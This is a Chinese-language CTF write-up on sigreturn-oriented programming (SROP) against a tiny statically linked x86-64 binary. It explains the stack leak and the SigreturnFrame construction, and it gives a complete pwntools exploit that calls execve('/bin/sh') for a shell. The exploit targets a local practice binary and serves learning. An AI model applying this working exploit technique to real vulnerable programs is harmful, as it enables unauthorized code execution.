关于sigreturn的系统调用
/*x86架构*/
mov eax,0x77
int 80h
/*x86_64架构*/
mov rax,0xf
syscall
静态链接64位文件
程序反汇编拖入IDA后全部就图中这些
溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了
那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve
发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram
然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。
此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数
sigreturn调用完后执行rip对应的输入函数
最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell
系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。
int execve(const char *filename, char *const argv[], char *const envp[]);
filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。
!!system函数不是系统调用
python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)
fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)
这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3
s.send(payload)
#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3
stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))
fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)
payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)
print("fram的长度",len(fram))
fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"
s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)
s.interactive()